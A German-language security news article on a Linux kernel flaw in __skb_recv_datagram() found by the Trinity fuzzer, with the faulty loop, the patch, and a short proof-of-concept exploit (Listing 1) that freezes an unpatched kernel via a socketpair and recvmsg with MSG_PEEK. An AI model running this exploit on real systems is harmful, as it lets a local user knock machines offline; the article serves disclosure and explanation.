Eine kürzlich entdeckte Sicherheitslücke im Linux-Kernel erlaubt lokalen Angreifern eine Denial-of-Service-Attacke gegen den Kernel. Die blockiert das System so, dass es auf keine Eingaben mehr reagiert.
Wenig mit der heiligen Dreieinigkeit zu tun hat die Software Trinity [1]. Mit ihr finden vielmehr Sicherheitsexperten wie Tommi Rantala Löcher im Linux-Kernel [2]. Die Software ist ein so genannter Systemcall Fuzz Tester, der Systemaufrufe des Linux-Kernels mit zufälligen Argumenten startet, um etwaige Schwachstellen in deren Implementation zu finden.
Zufällige Dreieinigkeit
Die von Trinity an Systemcalls übergebenen Parameter sind zwar zufällig, aber nicht immer unsinnig und schon gar nicht willkürlich gewählt. Sie übergeben etwa gültige Dateideskriptoren an Systemcalls, die solche als Argument erwarten. Das umgeht zuverlässig die im Kernel implementierten Sanity-Checks: Trinity kann also die Implementation testen, ohne dass die Sicherheitsroutinen eingreifen.
Der per Trinity entdeckte Fehler steckt in der »__skb_recv_datagram()« -Funktion in »net/core/datagram.c-« . Hier kann ein nicht-privilegierter lokaler Angreifer den Code in eine Endlosschleife zwingen – das System reagiert nicht mehr und ist unbenutzbar. Der fehlerhafte Code:
[...]
skb_queue_walk(queue, skb) {
*peeked = skb->peeked;
if (flags & MSG_PEEK) {
if (*off >= skb->len) {
*off -= skb->len;
continue;
}[...]
In der korrigierten Fassung haben Entwickler die zweite »if()« -Abfrage durch
if (*off >= skb->len && skb->len)
ersetzt, was die Sicherheitslücke schließt, sodass der betreffende Code nicht mehr in eine Endlosschleife gelangt.
Ursachenforschung
Laut Kernel-Log war der Fehler am 21. Februar 2012 in den Kernel gelangt und blieb ein Jahr unentdeckt. Der Commit [3] führte ein Offset-Argument für das »MSG_PEEK« -Flag ein. Ein knapper Proof-of-Concept-Exploit für diese Schwachstelle wurde ebenfalls veröffentlicht (Listing 1). Wird dieser auf einem ungepatchten System von einem lokalen Anwender ausgeführt, friert er den Kernel ein.
Listing 1
Exploit für __skb_recv_datagram()-Schwachstelle
01 [...]
02 int main(void) {
03 struct msghdr msg;
04 int sock[2];
05 int err;
06
07 err = socketpair(AF_UNIX, SOCK_DGRAM, 0, sock);
08 if (err) {
09 perror("socketpair");
10 exit(1);
11 }
12
13 memset(&msg, 0, sizeof(msg));
14 switch (fork()) {
15 default:
16 /* parent, send empty message */
17 err = sendmsg(sock[0], &msg, 0);
18 if (err) {
19 perror("sendmsg");
20 exit(1);
21 }
22 close(sock[0]);
23 printf("msg send, waiting for child...\n");
24 wait(NULL);
25 exit(0);
26
27 case 0:
28 /* child - should deadlock here */
29 err = recvmsg(sock[1], &msg, MSG_PEEK);
30 if (err < 0) {
31 perror("recvmsg");
32 exit(1);
33 }
34 printf("recvmsg returned, bug fixed?!\n");
35 close(sock[1]);
36 exit(0);
37
38 [...]
Infos
- Fuzzer Trinity: http://codemonkey.org.uk/projects/trinity/
- Sicherheitslücke im Linux-Kernel: http://www.securitytracker.com/id/1028146
- Commit 3f518bf745: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3f518bf745





